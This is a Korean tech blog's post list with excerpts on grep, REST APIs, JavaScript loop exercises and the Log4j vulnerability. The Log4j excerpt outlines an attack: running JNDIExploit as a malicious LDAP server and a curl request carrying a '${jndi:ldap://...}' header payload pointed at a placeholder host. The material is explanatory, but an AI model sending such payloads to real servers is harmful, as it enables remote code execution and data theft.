본문 바로가기

분류 전체보기46

[OS and General Knowledge] Basic Terminal Commands - 1 참고자료 - 사용중인 운영체제가 Window일 경우 아래 사이트에서 Linux 명령어 연습 가능 https://bellard.org/jslinux/vm.html?cpu=riscv64&url=fedora33-riscv.cfg&mem=256 JSLinux bellard.org 명령어 사용방법 grep [OPTIONS] [PATTERN] [FILE] - 입력으로 전달된 파일의 내용에서 특정 문자열을 찾고자할 때 사용하는 명령어 grep [OPTION...] PATTERN [FILE...] -E : PATTERN을 확장 정규 표현식(Extended RegEx)으로 해석. -F : PATTERN을 정규 표현식(RegEx)이 아닌 일반 문자열로 해석. -G : PATTERN을 기본 정규 표현식(Basic RegEx.. 2021. 12. 16.
[Back-End] REST, REST API, RESTful API 란? REST - "Representational State Transfer" 약자로 웹에 존재하는 모든 자원(문서, 이미지, 동영상 등)에 고유한 URI를 부여해 활용하는 것으로 자원을 정의하고 자원에 대한 주소를 지정하는 방법론 - HTTP Method(GET, POST, PUT, DELETE)를 통해 CRUD(Create, Read, Update, Delete) 연산을 수행함 ˙ GET(정보 조회) ˙ POST(새로운 정보 추가) ˙ PUT(정보 업데이트 및 교체) ˙ DELETE(지정한 정보 삭제) - Key/Value Pair 인 JSON 객체를 주로 사용함 예) -------------- Request ----------------- GET api.mightyotter.com/otters HTTP/.. 2021. 12. 15.
[Javascript] for 문 숙달을 위한 연습문제 - 별찍기 공통 - 모든 출력은 console.log('*') 가 아닌 process.stdout.write('*') 로 사용함 - var repeat 이라는 변수를 선언하고 반복문을 돌리는데 사용함 예) for(var row=0; row 0; col--){ process.stdout.write('*'); } process.stdout.write('\n'); } 문제 3. * ** *** **** ***** 정답보기 더보기 더보기 var repeat = 5; for(var row = 0; row 0; col--){ process.stdout.write('*'); } process.stdout.write('\n'); } 문제 4.. 2021. 12. 14.
[System] Apache Log4j 취약점이란? Apache Log4j - 프로그램을 작성하는 도중에 로그를 남기기 위해 사용되는 자바 기반 로깅 유틸리티 - 아파치 소프트웨어 재단에서 개발함 문제 & 위험성 - 개인, 기업, 공공기관 등 Apache Log4j 라이브러리를 사용하는 모든 시스템이 해당 공격에 노출됨 - 대상 시스템에 *RCE 공격이 가능하며, 바이러스 유포나 개인정보 탈취 등의 문제 발생 가능성이 있음 *RCE(Remote Code Execution) : 공격 대상 서버에 원격 명령을 실행할 수 있는 것을 말함 공격 방법 1. JNDIExploit 를 사용 하여 악성 LDAP 서버 가동 2. 명령어 입력 curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389.. 2021. 12. 13.